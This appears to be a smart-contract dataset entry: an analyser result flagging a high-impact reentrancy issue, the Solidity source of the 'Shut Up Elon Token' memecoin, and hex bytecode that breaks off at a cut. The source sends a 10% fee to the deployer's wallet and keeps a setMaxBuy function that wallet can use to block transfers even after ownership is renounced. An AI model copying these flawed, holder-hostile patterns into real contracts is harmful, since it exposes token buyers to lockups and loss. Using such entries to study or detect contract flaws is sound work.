2e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010b082f2977d1d727c064db7cae694a61c6895a19719f73f6f411a1187649cb864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
435
0x8D720e1B28c5971E6fA6982e90C166424A3608A9
//SPDX-License-Identifier: MIT // Telegram: t.me/ShutUpElonToken pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShutUpElon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; string private constant _name = "Shut Up Elon Token"; string private constant _symbol = "SHUTUPELON"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; uint256 private _maxTxAmount = _tTotal; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(_msgSender()); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(amount<_maxTxAmount); if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_feeAddrWallet1 == _msgSender() ); _; } function setMaxBuy(uint256 limit) external overridden { _maxTxAmount = limit; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063c9567bf911610059578063c9567bf9146102f1578063dd62ed3e14610308578063f429389014610345578063f53bc8351461035c576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b4114610289578063a9059cbb146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612395565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611f58565b6103c2565b604051610157919061237a565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b60405161018291906124f7565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611f05565b6103f0565b6040516101bf919061237a565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea919061256c565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611e6b565b61054c565b60405161023e91906124f7565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b60405161028091906122ac565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab9190612395565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611f58565b610756565b6040516102e8919061237a565b60405180910390f35b3480156102fd57600080fd5b50610306610774565b005b34801561031457600080fd5b5061032f600480360381019061032a9190611ec5565b610cb5565b60405161033c91906124f7565b60405180910390f35b34801561035157600080fd5b5061035a610d3c565b005b34801561036857600080fd5b50610383600480360381019061037e9190611fc5565b610dae565b005b60606040518060400160405280601281526020017f5368757420557020456c6f6e20546f6b656e0000000000000000000000000000815250905090565b60006103d66103cf610e19565b8484610e21565b6001905092915050565b6000670de0b6b3a7640000905090565b60006103fd848484610fec565b6104be84610409610e19565b6104b985604051806060016040528060288152602001612b4760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610e19565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113899092919063ffffffff16565b610e21565b600190509392505050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610e19565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b9050610549816113ed565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611675565b9050919050565b6105a5610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612457565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f534855545550454c4f4e00000000000000000000000000000000000000000000815250905090565b600061076a610763610e19565b8484610fec565b6001905092915050565b61077c610e19565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610809576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080090612457565b60405180910390fd5b600d60149054906101000a900460ff1615610859576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610850906124d7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108e830600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000610e21565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561092e57600080fd5b505afa158015610942573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109669190611e98565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109c857600080fd5b505afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611e98565b6040518363ffffffff1660e01b8152600401610a1d9291906122c7565b602060405180830381600087803b158015610a3757600080fd5b505af1158015610a4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6f9190611e98565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610af83061054c565b600080610b036106f0565b426040518863ffffffff1660e01b8152600401610b2596959493929190612319565b6060604051808303818588803b158015610b3e57600080fd5b505af1158015610b52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b779190611ff2565b5050506001600d60166101000a81548160ff02191690831515021790555068056bc75e2d63100000600e819055506001600d60146101000a81548160ff021916908315150217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c5f9291906122f0565b602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb19190611f98565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d7d610e19565b73ffffffffffffffffffffffffffffffffffffffff1614610d9d57600080fd5b6000479050610dab816116e3565b50565b610db6610e19565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0f57600080fd5b80600e8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e88906124b7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef8906123f7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fdf91906124f7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105390612497565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c3906123b7565b60405180910390fd5b6000811161110f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110690612477565b60405180910390fd5b60016009819055506009600a819055506111276106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561119557506111656106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561137957600e5481106111a857600080fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112535750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156112a95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112bf5760016009819055506009600a819055505b60006112ca3061054c565b9050600d60159054906101000a900460ff161580156113375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561134f5750600d60169054906101000a900460ff165b156113775761135d816113ed565b6000479050600081111561137557611374476116e3565b5b505b505b61138483838361174f565b505050565b60008383111582906113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c89190612395565b60405180910390fd5b50600083856113e091906126bd565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561142557611424612818565b5b6040519080825280602002602001820160405280156114535781602001602082028036833780820191505090505b509050308160008151811061146b5761146a6127e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561150d57600080fd5b505afa158015611521573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115459190611e98565b81600181518110611559576115586127e9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506115c030600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e21565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611624959493929190612512565b600060405180830381600087803b15801561163e57600080fd5b505af1158015611652573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b60006007548211156116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b3906123d7565b60405180910390fd5b60006116c661175f565b90506116db818461178a90919063ffffffff16565b915050919050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561174b573d6000803e3d6000fd5b5050565b61175a8383836117d4565b505050565b600080600061176c61199f565b91509150611783818361178a90919063ffffffff16565b9250505090565b60006117cc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fe565b905092915050565b6000806000806000806117e687611a61565b95509550955095509550955061184486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061192581611b71565b61192f8483611c2e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161198c91906124f7565b60405180910390a3505050505050505050565b600080600060075490506000670de0b6b3a764000090506119d3670de0b6b3a764000060075461178a90919063ffffffff16565b8210156119f157600754670de0b6b3a76400009350935050506119fa565b81819350935050505b9091565b60008083118290611a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3c9190612395565b60405180910390fd5b5060008385611a549190612632565b9050809150509392505050565b6000806000806000806000806000611a7e8a600954600a54611c68565b9250925092506000611a8e61175f565b90506000806000611aa18e878787611cfe565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611389565b905092915050565b6000808284611b2291906125dc565b905083811015611b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5e90612417565b60405180910390fd5b8091505092915050565b6000611b7b61175f565b90506000611b928284611d8790919063ffffffff16565b9050611be681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611c4382600754611ac990919063ffffffff16565b600781905550611c5e81600854611b1390919063ffffffff16565b6008819055505050565b600080600080611c946064611c86888a611d8790919063ffffffff16565b61178a90919063ffffffff16565b90506000611cbe6064611cb0888b611d8790919063ffffffff16565b61178a90919063ffffffff16565b90506000611ce782611cd9858c611ac990919063ffffffff16565b611ac990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d178589611d8790919063ffffffff16565b90506000611d2e8689611d8790919063ffffffff16565b90506000611d458789611d8790919063ffffffff16565b90506000611d6e82611d608587611ac990919063ffffffff16565b611ac990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d9a5760009050611dfc565b60008284611da89190612663565b9050828482611db79190612632565b14611df7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dee90612437565b60405180910390fd5b809150505b92915050565b600081359050611e1181612b01565b92915050565b600081519050611e2681612b01565b92915050565b600081519050611e3b81612b18565b92915050565b600081359050611e5081612b2f565b92915050565b600081519050611e6581612b2f565b92915050565b600060208284031215611e8157611e80612847565b5b6000611e8f84828501611e02565b91505092915050565b600060208284031215611eae57611ead612847565b5b6000611ebc84828501611e17565b91505092915050565b60008060408385031215611edc57611edb612847565b5b6000611eea85828601611e02565b9250506020611efb85828601611e02565b9150509250929050565b600080600060608486031215611f1e57611f1d612847565b5b6000611f2c86828701611e02565b9350506020611f3d86828701611e02565b9250506040611f4e86828701611e41565b9150509250925092565b60008060408385031215611f6f57611f6e612847565b5b6000611f7d85828601611e02565b9250506020611f8e85828601611e41565b9150509250929050565b600060208284031215611fae57611fad612847565b5b6000611fbc84828501611e2c565b91505092915050565b600060208284031215611fdb57611fda612847565b5b6000611fe984828501611e41565b91505092915050565b60008060006060848603121561200b5761200a612847565b5b600061201986828701611e56565b935050602061202a86828701611e56565b925050604061203b86828701611e56565b9150509250925092565b6000612051838361205d565b60208301905092915050565b612066816126f1565b82525050565b612075816126f1565b82525050565b600061208682612597565b61209081856125ba565b935061209b83612587565b8060005b838110156120cc5781516120b38882612045565b97506120be836125ad565b92505060018101905061209f565b5085935050505092915050565b6120e281612703565b82525050565b6120f181612746565b82525050565b6000612102826125a2565b61210c81856125cb565b935061211c818560208601612758565b6121258161284c565b840191505092915050565b60